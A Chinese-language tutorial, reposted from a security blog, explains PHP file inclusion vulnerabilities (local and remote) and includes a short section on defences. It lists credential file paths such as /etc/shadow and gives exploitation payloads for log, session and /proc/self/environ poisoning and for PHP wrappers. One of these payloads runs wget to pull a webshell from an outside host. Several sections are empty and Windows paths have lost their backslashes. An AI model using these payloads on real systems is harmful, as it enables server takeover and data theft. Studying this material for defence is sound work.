一、文件包含漏洞概述
1.什么是文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
2.文件包含漏洞产生原理
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞
例子
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。
show.php即可为用户上传的可执行的恶意脚本文件
包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么
特点
条件
-
include()等函数通过动态变量的方式引入需要包含的文件。
-
用户能够控制这个动态变量。
php相关配置
allow_url_fopen=On
// 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在
allow_url_include=On
// 远程文件包含(RFI)
3.存在文件包含的脚本语言及应用函数
-
php
require:函数出现错误时,会直接报错并退出程序执行
require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。
include:出现错误时,会出现警告但是程序会继续执行
include-once:出现错误时,会抛出警告,且仅包含一次
-
jsp/servlet
ava.io.file()
java.io.filereader()
-
asp
include file
include virtual
4.文件包含漏洞的危害
1、敏感信息泄露 |
2、获取Webshell |
3、任意命令执行 |
常见的敏感信息路径:
Windows系统
c:boot.ini // 查看系统版本
c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
c:windowsrepairsam // 存储Windows系统初次安装的密码
c:ProgramFilesmysqlmy.ini // MySQL配置
c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
c:windowsphp.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
二、文件包含漏洞类型
1.本地文件包含漏洞(LFI)
能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
包含服务器本身存在的恶意文件 a.txt
<?php
phpinfo();
?>
b.php
<?php
$b=$_GET['id'];
include($b);
?>
payload
localhost/b.php?id=a.txt //返回phpinfo页面
注:
-
两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)(相对路径./当前目录 ../上级目录)
-
被包含的页面的后缀无论是什么都会当做PHP解析
2.远程文件包含(RFI) 包含其他网站上的恶意文件 远程文件包含利用条件:在php.ini中allow_url_fopen=on、allow_url_include=on payload:
localhost/b.php?id=http://ip/文件路径
注:远程包含的文件路径必须是绝对路径
三、常用的防御方式
-
设置白名单
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
-
过滤危险字符
由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在 Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP 文 件。
-
设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的 话,PHP仅仅在该目录内搜索文件。
-
关闭危险配置
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包 含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
四、常用的利用方式
1.本地文件包含配合日志文件
1、日志的默认路径 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用户安装目录的logs目录下 2、web中间件默认配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开) 4、防御 隐藏或修改默认日志文件 设置日志文件读取权限
找到Apache路径,利用包含漏洞包含日志文件获取Webshell。
Apache两个日志文件:access.log、error.log 很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。
各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数
当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时
当访问不存在的资源时,apache日志同样会记录。
访问127.0.0.1/include/<?php phpinfo();?>,再包含日志文件
2.本地文件包含配合/proc/self/environ文件
1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、检查proc/self/environ是否可以访问www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可读就注入代码 访问:www.aaa.com/view.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器. 4、访问shell 5、防御: 设置proc/self/environ不可访问
3.本地文件包含配合session文件
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //读取session文件
利用条件:
session的存储位置可以获取。
通过phpinfo的信息可以获取到session的存储位置。
通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
通过猜测默认的session存放位置进行尝试。
session中的内容可以被控制,传入恶意代码。
示例:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。
到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
4.php伪协议
PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:
-
php://filter
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:
这时候我们可以以base64编码的方式读取指定文件的源码:
输入:php://filter/convert.base64-encode/resource=文件路径
得到config.php加密后的源码:
-
data://
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
-
zip:// 执行压缩文件
如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。
以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:
通过zip://协议执行zip压缩包中的phpinfo.php文件:
-
php://input
-
-
phar
-
-
总结
5.配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,编辑一个图片马,内容如下:
找到上传点进行上传:
文件保存的完整路径为:
C:phpStudyWWWhackableuploadswebshell.jpg
DVWA平台low等级文件包含漏洞页面如下:
该页面用于读取C:phpStudyWWWvulnerabilitiesfi路径中的文件,代码如下:
现在我们利用该页面去执行我们上传的图片马,路径需要从C:phpStudyWWWvulnerabilitiesfi 转到C:phpStudyWWWhackableuploadswebshell.jpg
构造URL如下,页面无报错:
可以看到fi文件夹中生成了一个webshell:
使用webshell管理工具连接即可。
注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。
五、常用的绕过方式
文章来源于互联网,只做学习交流,如有侵权请联系删除!原文链接:https://blog.csdn.net/m0_63354940/article/details/124521114
原文始发于微信公众号(信安学习笔记):【Web渗透】文件包含漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论